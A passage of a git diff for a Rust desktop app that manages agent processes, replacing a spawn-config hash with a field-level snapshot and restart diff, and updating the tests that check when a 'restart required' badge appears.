Some("Edited prompt.".into()); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn persona_runtime_edit_changes_hash() { +fn persona_runtime_edit_changes_snapshot() { // The harness command resolves live personas at spawn, so a persona // runtime change means a restart WOULD change what runs → badge trips. let mut rec = record(); @@ -161,13 +174,13 @@ fn persona_runtime_edit_changes_hash() { let before = [persona("pers", Some("goose"), "prompt")]; let after = [persona("pers", Some("claude"), "prompt")]; assert_ne!( - spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()) ); } #[test] -fn persona_prompt_edit_changes_hash() { +fn persona_prompt_edit_changes_snapshot() { // Start/restore re-snapshot the persona prompt onto the record right // before spawning, so a persona prompt edit DOES apply on a plain // restart → the badge must trip. @@ -176,13 +189,13 @@ fn persona_prompt_edit_changes_hash() { let before = [persona("pers", Some("goose"), "old prompt")]; let after = [persona("pers", Some("goose"), "new prompt")]; assert_ne!( - spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()) ); } #[test] -fn workspace_relay_change_trips_hash_even_for_stored_record_relay() { +fn workspace_relay_change_trips_snapshot_even_for_stored_record_relay() { // The legacy per-record relay pin is ignored (#2122): every record spawns // against the active workspace relay, so a workspace relay change means a // restart would change what runs — pinned records included. @@ -192,13 +205,13 @@ fn workspace_relay_change_trips_hash_even_for_stored_record_relay() { "fixture should carry a legacy pin" ); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://relay-a.example", &Default::default()), - spawn_config_hash(&rec, &[], &[], "wss://relay-b.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://relay-a.example", &Default::default()), + snapshot(&rec, &[], &[], "wss://relay-b.example", &Default::default()) ); } #[test] -fn stored_record_relay_does_not_affect_hash() { +fn stored_record_relay_does_not_affect_snapshot() { // Editing the (ignored) stored pin must not badge a restart: what a // restart would run is identical either way. let mut a = record(); @@ -206,20 +219,20 @@ fn stored_record_relay_does_not_affect_hash() { a.relay_url = String::new(); b.relay_url = "wss://legacy-pin.example".into(); assert_eq!( - spawn_config_hash(&a, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&b, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&a, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&b, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn respond_to_allowlist_edit_changes_hash() { +fn respond_to_allowlist_edit_changes_snapshot() { let rec = record(); let mut edited = record(); edited.respond_to = RespondTo::Allowlist; edited.respond_to_allowlist = vec!["a".repeat(64)]; assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } @@ -231,13 +244,13 @@ fn allowlist_ignored_when_mode_is_not_allowlist() { let mut edited = record(); edited.respond_to_allowlist = vec!["a".repeat(64)]; assert_eq!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn allowlist_normalization_equivalent_edits_do_not_change_hash() { +fn allowlist_normalization_equivalent_edits_do_not_change_snapshot() { // The env receives the normalized list (trim/lowercase/dedup), so edits // that normalize to the same value must not badge. let mut rec = record(); @@ -249,48 +262,48 @@ fn allowlist_normalization_equivalent_edits_do_not_change_hash() { "a".repeat(64), // duplicate ]; assert_eq!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn allowlist_content_edit_still_changes_hash() { +fn allowlist_content_edit_still_changes_snapshot() { let mut rec = record(); rec.respond_to = RespondTo::Allowlist; rec.respond_to_allowlist = vec!["a".repeat(64)]; let mut edited = rec.clone(); edited.respond_to_allowlist = vec!["b".repeat(64)]; assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn explicit_max_turn_duration_changes_hash_from_none() { +fn explicit_max_turn_duration_changes_snapshot_from_none() { let rec = record(); let mut edited = record(); edited.max_turn_duration_seconds = Some(7200); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn non_default_max_turn_duration_changes_hash() { +fn non_default_max_turn_duration_changes_snapshot() { let rec = record(); let mut edited = record(); edited.max_turn_duration_seconds = Some(42); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn non_spawn_bookkeeping_fields_do_not_change_hash() { +fn non_spawn_bookkeeping_fields_do_not_change_snapshot() { // updated_at / runtime_pid / last_* are lifecycle bookkeeping, not spawn // inputs — routine record saves must not trip the badge. let rec = record(); @@ -300,17 +313,17 @@ fn non_spawn_bookkeeping_fields_do_not_change_hash() { edited.last_started_at = Some("later".into()); edited.last_exit_code = Some(0); assert_eq!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] fn resnapshot_does_not_clobber_record_quad_with_definition_absent_quad() { - // B5 hash row 3: the prospective re-snapshot copies ONLY + // B5 drift row 3: the prospective re-snapshot copies ONLY // prompt/model/provider/env from the linked definition. An instance // whose owner hand-set respond_to/allowlist/parallelism must - // hash identically whether or not its definition carries a quad — + // snapshot identically whether or not its definition carries a quad — // activation of the definition-level defaults must never reach through // spawn and overwrite instance state. let quadless_definition = vec![persona("p1", Some("goose"), "Persona prompt.")]; @@ -326,44 +339,44 @@ fn resnapshot_does_not_clobber_record_quad_with_definition_absent_quad() { definition_with_quad[0].parallelism = Some(8); assert_eq!( - spawn_config_hash( + snapshot( &rec, &quadless_definition, &[], "wss://ws.example", &Default::default() ), - spawn_config_hash( + snapshot( &rec, &definition_with_quad, &[], "wss://ws.example", &Default::default() ), - "definition quad must not leak into the spawn hash of an existing instance" + "definition quad must not leak into the spawn snapshot of an existing instance" ); } #[test] -fn empty_prompt_hashes_like_absent_prompt() { - // B5 hash row 2 foundation: Some("") and None spawn identically (env var - // absent either way), so they must hash equal — a backfilled prompt-less +fn empty_prompt_snapshots_like_absent_prompt() { + // B5 drift row 2 foundation: Some("") and None spawn identically (env var + // absent either way), so they must snapshot equal — a backfilled prompt-less // record re-snapshots to Some("") and must not trip the badge. let mut absent = record(); absent.system_prompt = None; let mut empty = record(); empty.system_prompt = Some(String::new()); assert_eq!( - spawn_config_hash(&absent, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&empty, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&absent, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&empty, &[], &[], "wss://ws.example", &Default::default()), ); } -/// (a) A definition-runtime edit must change spawn_config_hash for a +/// (a) A definition-runtime edit must change the snapshot for a /// materialized, override-free record — the prospective re-snapshot now -/// copies the persona's runtime onto the record before hashing. +/// copies the persona's runtime onto the record before snapshotting. #[test] -fn definition_runtime_edit_changes_hash_for_materialized_record() { +fn definition_runtime_edit_changes_snapshot_for_materialized_record() { let mut rec = record(); rec.persona_id = Some("pers".into()); rec.runtime = Some("goose".into()); // materialized runtime on instance @@ -371,8 +384,8 @@ fn definition_runtime_edit_changes_hash_for_materialized_record() { let before = [persona("pers", Some("goose"), "prompt")]; let after = [persona("pers", Some("claude"), "prompt")]; assert_ne!( - spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()), "definition runtime edit must badge a materialized, override-free instance" ); } @@ -389,8 +402,8 @@ fn known_runtime_pin_yields_to_definition_runtime_change() { let before = [persona("pers", Some("goose"), "prompt")]; let after = [persona("pers", Some("claude"), "prompt")]; assert_ne!( - spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()), "stale known-runtime pin must not shadow a definition runtime edit" ); } @@ -407,16 +420,16 @@ fn custom_command_override_beats_definition_runtime_change() { let before = [persona("pers", Some("goose"), "prompt")]; let after = [persona("pers", Some("claude"), "prompt")]; assert_eq!( - spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()), "custom command override must win regardless of definition runtime change" ); } /// (d) When the linked definition is absent the prospective re-snapshot is -/// skipped entirely: the materialized runtime must still affect the hash. +/// skipped entirely: the materialized runtime must still reach the snapshot. #[test] -fn missing_definition_leaves_materialized_runtime_in_hash() { +fn missing_definition_leaves_materialized_runtime_in_snapshot() { let mut rec = record(); rec.persona_id = Some("missing".into()); rec.runtime = Some("goose".into()); // materialized runtime @@ -427,28 +440,28 @@ fn missing_definition_leaves_materialized_runtime_in_hash() { no_runtime.runtime = None; assert_ne!( - spawn_config_hash( + snapshot( &rec, no_personas, &[], "wss://ws.example", &Default::default() ), - spawn_config_hash( + snapshot( &no_runtime, no_personas, &[], "wss://ws.example", &Default::default() ), - "materialized runtime must still affect hash when definition is absent" + "materialized runtime must still reach the snapshot when definition is absent" ); } -// ── Global default trips hash for linked inherited agents ───────────────── +// ── Global default trips drift for linked inherited agents ─────────────── #[test] -fn global_model_change_trips_hash_for_linked_inherited_agent() { +fn global_model_change_trips_snapshot_for_linked_inherited_agent() { let mut rec = record(); rec.persona_id = Some("p1".into()); rec.model = Some("stale-record-model".into()); @@ -466,17 +479,17 @@ fn global_model_change_trips_hash_for_linked_inherited_agent() { ..Default::default() }; - let hash_a = spawn_config_hash(&rec, &personas, &[], "wss://ws.example", &global_a); - let hash_b = spawn_config_hash(&rec, &personas, &[], "wss://ws.example", &global_b); + let snapshot_a = snapshot(&rec, &personas, &[], "wss://ws.example", &global_a); + let snapshot_b = snapshot(&rec, &personas, &[], "wss://ws.example", &global_b); assert_ne!( - hash_a, hash_b, - "changing the global default must trip the hash for a linked inherited agent" + snapshot_a, snapshot_b, + "changing the global default must drift a linked inherited agent" ); } #[test] -fn global_model_change_trips_hash_without_model_env_var() { +fn global_model_change_trips_snapshot_without_model_env_var() { let mut rec = record(); rec.persona_id = Some("p1".into()); rec.agent_command = "some-harness-without-model-env".into(); @@ -497,26 +510,26 @@ fn global_model_change_trips_hash_without_model_env_var() { ..Default::default() }; - let hash_a = spawn_config_hash(&rec, &personas, &[], "wss://ws.example", &global_a); - let hash_b = spawn_config_hash(&rec, &personas, &[], "wss://ws.example", &global_b); + let snapshot_a = snapshot(&rec, &personas, &[], "wss://ws.example", &global_a); + let snapshot_b = snapshot(&rec, &personas, &[], "wss://ws.example", &global_b); assert_ne!( - hash_a, hash_b, - "global model change must trip hash even without a model_env_var runtime" + snapshot_a, snapshot_b, + "global model change must drift even without a model_env_var runtime" ); } #[test] -fn linked_instance_stale_prompt_bytes_are_inert_at_hash_time() { +fn linked_instance_stale_prompt_bytes_are_inert_at_snapshot_time() { // Regression for the split-resolve defect: prompt used to be read from // the record's own (possibly Phase-A-snapshot-stale) bytes while // model/provider were resolved live from the definition. A definition // edit landing between a caller's snapshot apply and spawn could hand a - // fresh model/provider to a stale prompt, and the hash (which already + // fresh model/provider to a stale prompt, and the drift check (which already // resolved model/provider live) would silently agree with a spawn that // wrote the stale prompt. Now both come from one `resolve_effective_config` // call, so a record whose own `system_prompt` bytes disagree with the - // live definition must hash exactly as if the record carried the + // live definition must snapshot exactly as if the record carried the // definition's prompt verbatim — the record's prompt bytes are inert for // a linked instance. let mut rec = record(); @@ -529,26 +542,26 @@ fn linked_instance_stale_prompt_bytes_are_inert_at_hash_time() { let personas = [persona("p1", Some("goose"), "live prompt")]; assert_eq!( - spawn_config_hash( + snapshot( &rec, &personas, &[], "wss://ws.example", &Default::default() ), - spawn_config_hash( + snapshot( &matching_bytes, &personas, &[], "wss://ws.example", &Default::default() ), - "record's own system_prompt bytes must not affect the hash of a linked instance" + "record's own system_prompt bytes must not affect the snapshot of a linked instance" ); } #[test] -fn display_name_edit_changes_hash() { +fn display_name_edit_changes_snapshot() { // The spawn writes BUZZ_ACP_SESSION_TITLE from display_name-or-name, so a // rename must trip the badge: the running process keeps the old title // until it restarts, and the operator has to be told that. @@ -556,32 +569,32 @@ fn display_name_edit_changes_hash() { let mut renamed = record(); renamed.display_name = Some("Fizz".into()); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&renamed, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&renamed, &[], &[], "wss://ws.example", &Default::default()), "a display-name rename changes the spawned session title and must badge" ); } #[test] -fn name_edit_changes_hash_when_display_name_is_absent() { +fn name_edit_changes_snapshot_when_display_name_is_absent() { // With no display_name the title falls back to the unique handle, so the - // handle is what the env write carries and what must be hashed. + // handle is what the env write carries and what must be snapshotted. let rec = record(); let mut renamed = record(); renamed.name = "agent-2".into(); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&renamed, &[], &[], "wss://ws.example", &Default::default()), - "the fallback title source must reach the hash too" + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&renamed, &[], &[], "wss://ws.example", &Default::default()), + "the fallback title source must reach the snapshot too" ); } #[test] -fn display_name_edit_does_not_change_hash_under_an_explicit_title_override() { +fn display_name_edit_does_not_change_snapshot_under_an_explicit_title_override() { // User env is written AFTER the Buzz-set title (last-wins), so an explicit // BUZZ_ACP_SESSION_TITLE is what the child actually runs with. Renaming the // record changes nothing about the spawned process, so badging it would be - // a false restart prompt. The override itself still reaches the hash + // a false restart prompt. The override itself still reaches the snapshot // through the effective env. let mut rec = record(); rec.env_vars @@ -589,14 +602,14 @@ fn display_name_edit_does_not_change_hash_under_an_explicit_title_override() { let mut renamed = rec.clone(); renamed.display_name = Some("Fizz".into()); assert_eq!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&renamed, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&renamed, &[], &[], "wss://ws.example", &Default::default()), "a rename shadowed by an explicit title override must not badge" ); } #[test] -fn title_override_edit_changes_hash() { +fn title_override_edit_changes_snapshot() { // Counterpart to the test above: the override is not inert — editing it // changes what the child runs with and must badge. let mut rec = record(); @@ -607,8 +620,8 @@ fn title_override_edit_changes_hash() { .env_vars .insert("BUZZ_ACP_SESSION_TITLE".into(), "Other Title".into()); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()), "editing an explicit title override must badge" ); } @@ -616,7 +629,7 @@ fn title_override_edit_changes_hash() { #[test] fn linked_instance_prompt_model_provider_resolve_from_one_call() { // The prompt for a linked instance must track the definition, exactly - // like model/provider — a definition prompt edit trips the hash even + // like model/provider — a definition prompt edit drifts the snapshot even // though the record's own (stale) system_prompt bytes are unchanged. let mut rec = record(); rec.persona_id = Some("p1".into()); @@ -626,25 +639,25 @@ fn linked_instance_prompt_model_provider_resolve_from_one_call() { let after = [persona("p1", Some("goose"), "new definition prompt")]; assert_ne!( - spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()), "linked instance prompt must resolve from the live definition, not stale record bytes" ); } -// ── I2: definition args and env reach spawn_config_hash ────────────────────── +// ── I2: definition args and env reach the snapshot ─────────────────────────── // // These tests prove that editing a custom harness definition's args or env -// changes spawn_config_hash, which trips the "restart required" badge. -// They would fail if spawn_config_hash used only record.agent_args without +// change the snapshot, which trips the "restart required" badge. +// They would fail if the snapshot used only record.agent_args without // falling back to definition args, or if resolve_effective_agent_env did not // include definition env. /// When a record has no instance args but the definition has default args, -/// changing the definition args changes the spawn hash. This would fail if -/// spawn_config_hash used only record.agent_args. +/// changing the definition args changes the snapshot. This would fail if +/// the snapshot used only record.agent_args. #[test] -fn spawn_hash_changes_when_definition_default_args_change() { +fn spawn_snapshot_changes_when_definition_default_args_change() { use crate::managed_agents::custom_harnesses::{ registry_test_lock, warm_harness_registry_from_dir, }; @@ -652,8 +665,8 @@ fn spawn_hash_changes_when_definition_default_args_change() { use tempfile::tempdir; // The loaded-harness registry is process-global: a parallel test re-warming - // it between the two hash computations makes both resolve to no-definition - // and h1 == h2 (observed on Windows CI). + // it between the two snapshots makes both resolve to no-definition + // and s1 == s2 (observed on Windows CI). let _lock = registry_test_lock(); let dir = tempdir().unwrap(); @@ -669,7 +682,7 @@ fn spawn_hash_changes_when_definition_default_args_change() { r.runtime = Some("my-def".into()); r.agent_args = vec![]; // no instance args → definition args are used - let h1 = spawn_config_hash(&r, &[], &[], "ws://relay", &Default::default()); + let s1 = snapshot(&r, &[], &[], "ws://relay", &Default::default()); // Update to v2 args and re-warm (simulating save + transactional refresh). fs::write( @@ -679,18 +692,18 @@ fn spawn_hash_changes_when_definition_default_args_change() { .unwrap(); warm_harness_registry_from_dir(Some(dir.path())); - let h2 = spawn_config_hash(&r, &[], &[], "ws://relay", &Default::default()); + let s2 = snapshot(&r, &[], &[], "ws://relay", &Default::default()); assert_ne!( - h1, h2, - "changing definition default args must change the spawn hash" + s1, s2, + "changing definition default args must change the snapshot" ); } -/// When a definition has env vars, adding them changes the spawn hash. This +/// When a definition has env vars, adding them changes the snapshot. This /// proves resolve_effective_agent_env includes definition env in the layering. #[test] -fn spawn_hash_changes_when_definition_env_changes() { +fn spawn_snapshot_changes_when_definition_env_changes() { use crate::managed_agents::custom_harnesses::{ registry_test_lock, warm_harness_registry_from_dir, }; @@ -712,7 +725,7 @@ fn spawn_hash_changes_when_definition_env_changes() { let mut r = record(); r.runtime = Some("env-def".into()); - let h1 = spawn_config_hash(&r, &[], &[], "ws://relay", &Default::default()); + let s1 = snapshot(&r, &[], &[], "ws://relay", &Default::default()); // Update to include env and re-warm. fs::write( @@ -722,16 +735,16 @@ fn spawn_hash_changes_when_definition_env_changes() { .unwrap(); warm_harness_registry_from_dir(Some(dir.path())); - let h2 = spawn_config_hash(&r, &[], &[], "ws://relay", &Default::default()); + let s2 = snapshot(&r, &[], &[], "ws://relay", &Default::default()); - assert_ne!(h1, h2, "adding definition env must change the spawn hash"); + assert_ne!(s1, s2, "adding definition env must change the snapshot"); } /// Instance-level args win over definition default args (non-empty instance -/// args must NOT be overridden by the definition). The hash must match a record +/// args must NOT be overridden by the definition). The snapshot must match a record /// that has the same effective args from either source. #[test] -fn spawn_hash_instance_args_win_over_definition_args() { +fn spawn_snapshot_instance_args_win_over_definition_args() { use crate::managed_agents::custom_harnesses::{ registry_test_lock, warm_harness_registry_from_dir, }; @@ -756,12 +769,12 @@ fn spawn_hash_instance_args_win_over_definition_args() { r_no_instance.runtime = Some("arg-def".into()); r_no_instance.agent_args = vec![]; - let h_instance = spawn_config_hash(&r_instance, &[], &[], "ws://relay", &Default::default()); - let h_no_instance = - spawn_config_hash(&r_no_instance, &[], &[], "ws://relay", &Default::default()); + let snapshot_instance = snapshot(&r_instance, &[], &[], "ws://relay", &Default::default()); + let snapshot_no_instance = + snapshot(&r_no_instance, &[], &[], "ws://relay", &Default::default()); assert_ne!( - h_instance, h_no_instance, - "instance args and definition args must produce different hashes" + snapshot_instance, snapshot_no_instance, + "instance args and definition args must produce different snapshots" ); } diff --git a/desktop/src-tauri/src/managed_agents/types.rs b/desktop/src-tauri/src/managed_agents/types.rs index fcd8b13fc9..c5bb6173d1 100644 --- a/desktop/src-tauri/src/managed_agents/types.rs +++ b/desktop/src-tauri/src/managed_agents/types.rs @@ -462,13 +462,12 @@ pub struct RelayMeshConfig { pub struct ManagedAgentProcess { pub child: Child, pub log_path: PathBuf, - /// Digest of the effective spawn config at launch (see - /// `spawn_hash::spawn_config_hash`). Runtime-only — never persisted. The - /// summary builder recomputes the hash from current disk state and flags - /// `needs_restart` on mismatch. Agents adopted via a persisted - /// `runtime_pid` have no `ManagedAgentProcess` entry, so their spawn - /// config is unknown and the badge stays off. - pub spawn_config_hash: u64, + /// The effective spawn config this process was launched with (see + /// `spawn_snapshot::SpawnConfigSnapshot`). Runtime-only — never persisted. + /// The summary builder recomputes a prospective snapshot and reports + /// differing fields via `ManagedAgentSummary::restart_diff`. Agents + /// adopted via `runtime_pid` have none; their config is unknown. + pub spawn_config: super::spawn_snapshot::SpawnConfigSnapshot, /// Whether this process was spawned in setup-listener mode (i.e. /// `BUZZ_ACP_SETUP_PAYLOAD` was set at launch because the agent was /// `NotReady`). Runtime-only — never persisted. Used by @@ -541,13 +540,14 @@ pub struct ManagedAgentSummary { /// `OrphanedInstance` arm via `require_resolved`) — so the UI /// should surface that it's stuck, not merely stale. pub persona_orphaned: bool, - /// `true` when the running process was spawned with a config that no - /// longer matches what a spawn would use today — a plain restart would - /// change what runs. Complements `persona_out_of_date`: the badge means - /// "a restart would change what runs"; out-of-date means "a respawn - /// would." Always `false` for stopped agents and for processes adopted - /// via a persisted `runtime_pid` (their spawn config is unknown). + /// `true` when the running process's spawn config no longer matches + /// what a spawn would use today. Derived from `restart_diff` — lit + /// exactly when there is something to show. Always `false` for stopped, + /// orphaned, or `runtime_pid`-adopted agents. pub needs_restart: bool, + /// Fields that drifted since launch, redacted for display. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub restart_diff: Vec, #[serde(default, skip_serializing_if = "BTreeMap::is_empty")] pub env_vars: BTreeMap, pub backend: BackendKind, @@ -594,10 +594,8 @@ pub enum AcpAvailabilityStatus { NotInstalled, } -/// Authentication/login status for a CLI-based ACP runtime. -/// -/// Serializes as a tagged union `{ status: "...", diagnostic?: "..." }` so -/// the TypeScript side can exhaustively switch on `status`. +/// Authentication/login status for a CLI-based ACP runtime. Serializes as a tagged union +/// `{ status: "...", diagnostic?: "..." }` so the TypeScript side can exhaustively switch on `status`. #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] #[serde(rename_all = "snake_case", tag = "status")] pub enum AuthStatus { @@ -616,8 +614,7 @@ pub enum AuthStatus { Unknown, } -/// Origin of an ACP runtime catalog entry. Serializes as a lowercase string -/// so the TypeScript consumer can switch on it without numeric comparisons. +/// Origin of an ACP runtime catalog entry. Serializes as a lowercase string so the TypeScript consumer can switch on it without numeric comparisons. #[derive(Debug, Clone, Serialize, PartialEq, Eq)] #[serde(rename_all = "snake_case")] pub enum HarnessSource { @@ -645,6 +642,9 @@ pub struct AcpRuntimeCatalogEntry { pub provider_env_var: Option, /// Environment variable used to apply thinking effort, when supported. pub thinking_env_var: Option, + pub max_tokens_env_var: Option, + pub context_limit_env_var: Option, + pub max_rounds_env_var: Option, pub install_hint: String, pub install_instructions_url: String, /// true when at least one automated install step is available diff --git a/desktop/src-tauri/src/managed_agents/types/tests.rs b/desktop/src-tauri/src/managed_agents/types/tests.rs index 96ed556068..1db7b9b524 100644 --- a/desktop/src-tauri/src/managed_agents/types/tests.rs +++ b/desktop/src-tauri/src/managed_agents/types/tests.rs @@ -694,3 +694,93 @@ fn mint_rejects_out_of_range_input_parallelism() { "input-branch error must not blame the definition: {err}" ); } + +// ── Restart-diff wire shape ───────────────────────────────────────────────── + +fn summary_fixture( + restart_diff: Vec, +) -> super::ManagedAgentSummary { + super::ManagedAgentSummary { + pubkey: "aa".repeat(32), + name: "test".into(), + persona_id: None, + runtime: None, + team_id: None, + relay_url: String::new(), + acp_command: "buzz-acp".into(), + agent_command: "goose".into(), + agent_command_override: None, + agent_args: Vec::new(), + mcp_command: String::new(), + turn_timeout_seconds: 320, + idle_timeout_seconds: None, + max_turn_duration_seconds: None, + parallelism: 1, + system_prompt: None, + avatar_url: None, + model: None, + model_source: None, + provider: None, + persona_out_of_date: false, + persona_orphaned: false, + // Both fields derive from one vector in `build_managed_agent_summary`; + // the fixture reproduces that rule rather than letting them disagree. + needs_restart: !restart_diff.is_empty(), + restart_diff, + env_vars: Default::default(), + backend: super::BackendKind::Local, + backend_agent_id: None, + status: "running".into(), + pid: Some(4242), + created_at: "2026-01-01T00:00:00Z".into(), + updated_at: "2026-01-01T00:00:00Z".into(), + last_started_at: None, + last_stopped_at: None, + last_exit_code: None, + last_error: None, + last_error_code: None, + start_on_app_launch: false, + auto_restart_on_config_change: false, + log_path: String::new(), + respond_to: RespondTo::OwnerOnly, + respond_to_allowlist: Vec::new(), + } +} + +#[test] +fn summary_without_drift_omits_restart_diff_from_the_wire() { + // An adopted `runtime_pid`-only process is never stamped, so its summary + // carries an empty vector. `skip_serializing_if` must then drop the key + // entirely — the frontend normalizes omission to `[]`, and emitting an + // empty array on every stopped agent would bloat every list response. + let wire = serde_json::to_value(summary_fixture(Vec::new())).expect("summary serializes"); + assert_eq!(wire.get("needs_restart"), Some(&serde_json::json!(false))); + assert!( + wire.get("restart_diff").is_none(), + "empty restart_diff must be omitted, got: {wire}" + ); +} + +#[test] +fn summary_with_drift_serializes_restart_diff_entries() { + // The other side of the same rule: a present entry must reach the wire + // under its snake_case key with the tagged change payload intact. + let wire = serde_json::to_value(summary_fixture(vec![ + crate::managed_agents::spawn_snapshot::RestartDiffEntry { + field: "model".into(), + change: crate::managed_agents::spawn_snapshot::diff::RestartChange::Value { + before: serde_json::json!("gpt-5"), + after: serde_json::json!("claude-4"), + }, + }, + ])) + .expect("summary serializes"); + assert_eq!(wire.get("needs_restart"), Some(&serde_json::json!(true))); + assert_eq!( + wire.get("restart_diff"), + Some(&serde_json::json!([{ + "field": "model", + "change": { "kind": "value", "before": "gpt-5", "after": "claude-4" }, + }])) + ); +} diff --git a/desktop/src-tauri/src/migration/backfill.rs b/desktop/src-tauri/src/migration/backfill.rs index cd62f63bbb..74cef7ffe6 100644 --- a/desktop/src-tauri/src/migration/backfill.rs +++ b/desktop/src-tauri/src/migration/backfill.rs @@ -26,7 +26,7 @@ use crate::managed_agents::{ /// `unwrap_or_default`, env COPIED so later instances inherit a working /// config, quad copied to the definition defaults) and the record gains /// `persona_source_version` = the new definition's content hash, so -/// neither `spawn_config_hash` nor the drift badge moves. +/// neither the spawn-config snapshot nor the drift badge moves. /// /// The manufactured definition's slug is the agent's pubkey: 64-hex passes /// the NIP-AP slug grammar on both relay and desktop ends, and agent pubkeys diff --git a/desktop/src-tauri/src/migration/backfill_tests.rs b/desktop/src-tauri/src/migration/backfill_tests.rs index 5d52d56678..d277a2aa5f 100644 --- a/desktop/src-tauri/src/migration/backfill_tests.rs +++ b/desktop/src-tauri/src/migration/backfill_tests.rs @@ -1,5 +1,5 @@ use super::backfill_standalone_agents_in_dir; -use crate::managed_agents::spawn_hash::spawn_config_hash; +use crate::managed_agents::spawn_snapshot::prospective_spawn_config_snapshot; use crate::managed_agents::{AgentDefinition, ManagedAgentRecord}; use crate::migration::test_support::{read_agents_json, write_agents_json}; use std::path::Path; @@ -116,11 +116,11 @@ fn backfilled_definition_carries_prompt_present_even_if_empty() { } #[test] -fn backfill_of_promptless_record_keeps_spawn_hash_stable() { - // B5 hash row 2: pre-backfill the record hashes prompt None; post-backfill +fn backfill_of_promptless_record_keeps_spawn_snapshot_stable() { + // B5 drift row 2: pre-backfill the record snapshots prompt None; post-backfill // the prospective re-snapshot pulls Some("") from the manufactured // definition. The spawn layer treats an empty prompt as no prompt (env - // absent either way), so the hash must not move — otherwise every + // absent either way), so the snapshot must not move — otherwise every // prompt-less standalone agent lights the restart badge on upgrade. let dir = 